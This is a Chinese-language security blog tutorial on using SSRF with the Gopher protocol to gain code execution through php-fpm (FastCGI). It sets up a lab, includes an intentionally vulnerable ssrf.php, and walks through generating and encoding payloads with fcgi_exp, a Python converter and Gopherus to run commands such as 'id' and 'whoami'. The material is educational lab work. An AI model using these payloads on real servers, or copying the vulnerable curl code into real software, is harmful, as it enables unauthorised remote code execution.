SSRF系列之攻击FastCGI

发布 : 2020-09-09

本文首发i春秋,未经允许禁止转载

前言

上篇文章在讲利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议,说到了这个协议作为SSRF漏洞利用中的万金油,可以用它来攻击内网的FTP、Telnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及利用SSRF结合Gopher协议攻击FastCGI

FastCGI

维基百科的解释:快速通用网关接口Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。

只通过这样简单两句话确实难以理解这是一个什么协议,下面是我通过阅读各种资料后对这个协议的理解

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。

浏览器访问静态网页过程

在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。

Apache处理静态网页浏览.jpg

浏览器访问动态网页过程

当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。

Apache处理动态网页浏览.jpg

当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

php-fpm

了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

环境搭建

靶 机: Ubuntu

攻击机: Kali

这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

1
sudo apt-get install nginx

安装php、php-fpm以及一些插件

1
2
3
4
5
sudo apt-get install software-properties-common python-software-properties 
sudo add-apt-repository ppa:ondrej/php #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml php7.2-intl

配置php-fpm

修改配置监听9000端口来处理nginx的请求

打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行

1
2
;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000

注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。

下面修改权限

1
chmod 777 /run/php/php7.2-fpm.sock

打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
server {
listen 80; #监听80端口,接收http请求
server_name www.example.com; #就是网站地址
root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
#路由到网站根目录www.example.com时候的处理
location / {
index index.php; #跳转到www.example.com/index.php
autoindex on;
}
#当请求网站下php文件的时候,反向代理到php-fpm
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
#fastcgi_pass unix:/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
}

启动环境

配置完成后查看一下php-fpm的安装位置,然后启动

1
2
whereis php-fpm
/usr/sbin/php-fpm7.2 #这是我的靶机上php-fpm安装的位置

重新启动Nginx

1
sudo systemctl restart nginx

然后检查nginx是否正确启动 systemctl status nginx

image.png

检查php-fpm是否正确启动 ps -elf | grep php-fpm

image.png

这里就可以看出上面所说的存在一个master进程和多个worker进程

下面将/var/www/html/目录下的文件删除,新建一个index.php,内容可以写上 用来检查各项是否正常运行,如果页面为空,查看这篇文章解决

image.png

其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
//第二种初始化curl的方式
//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);

/*进行curl配置*/
curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
$responseText = curl_exec($curl);
//var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容

echo $responseText;
curl_close($curl);
?>

该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,下图为正常的结果

image.png

ssrf攻击FastCGI演示

使用fcgi_exp攻击

这里在已知其使用了php-fpm的情况下,我们可以先使用fcgi_exp测试是否可以直接攻击9000端口,这个工具主要是用来攻击未授权访问php-fpm的,所以一些地方需要自己写脚本转换一下payload,下面是使用方法

该工具需要go语言环境,下载后进入目录

1
go build fcgi_exp.go                    #编译fcgi_exp.go

这里直接运行可以看到fcgi_exp的使用方法

1
2
3
4
5
6
7
8
9
10
11
Usage:   ./fcgi_exp <cmd> <ip> <port> <file> [command]
cmd: phpinfo, system, read
the SYSTEM cmd only affects PHP-FPM >= 5.3.3
ip: Target ip to exploit with.
port: Target port running php-fpm.
file: File to read or execute.
command: Command to execute by system. Must use with cmd 'system'.

Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
./fcgi_exp read 127.0.0.1 9000 /etc/issue

使用如下命令进行测试

1
./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"

在这里显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,所以说不能攻击成功,但是如果有的服务器在配置的时候将9000端口监听在公网上了,就可以用上面的方法进行测试。如果仅监听在本地,可以通过ssrf来攻击内部的9000端口。

在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload,另外开启一个终端使用下面的命令发送payload

1
./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"

注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口,运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件,里面是获得的payload,可以使用xxd fcg_exp.txt查看其内容

image.png

文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码

1
2
3
4
5
6
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode

file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

之后使用burp抓一个访问ssrf.php的包,将输出的内容放到?url=后面,然后这里需要再进行一次编码,因为这里curl会进行一次解码,gopher会再进行一次解码,这里直接用burp中的工具

image.png

编码之后直接Go就可以执行刚才设置的命令了

image.png

使用Gopherus攻击

这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令

1
2
3
python gopherus.py --exploit fastcgi
/var/www/html/index.php #这里输入的是一个已知存在的php文件
whoami

image.png

获得payload,之后用同样的方法在burp Go一下(记得二次编码)

image.png

总结

通过上面的演示,可以看到又一个ssrf结合其他漏洞形成重大影响的示例,其实总的来看整个攻击的过程并不复杂,但是这仅仅是通过文章呈现出来的一种错觉,其实在复现的过程中,还是会出现各种各样的问题的,比如说搭建整个环境,其实是尝试了很多种搭建方式之后才成功的,本来也想用一个镜像来复现,但是没有合适的,最后终于找到了一种简单的方法来安装nginx和php-fpm,再比如使用fcgi_exp攻击时写的脚本,其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞,最好还是自己搭建环境尝试一下,通过搭建环境,学到的不仅仅是这个漏洞,还有这些环境的一些知识。

参考

https://blog.chaitin.cn/gopher-attack-surfaces/

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://blog.csdn.net/feiniao8651/article/details/52768911

https://xz.aliyun.com/t/6993

https://damit5.com/2018/05/26/SSRF-%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/

https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/9897b513.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!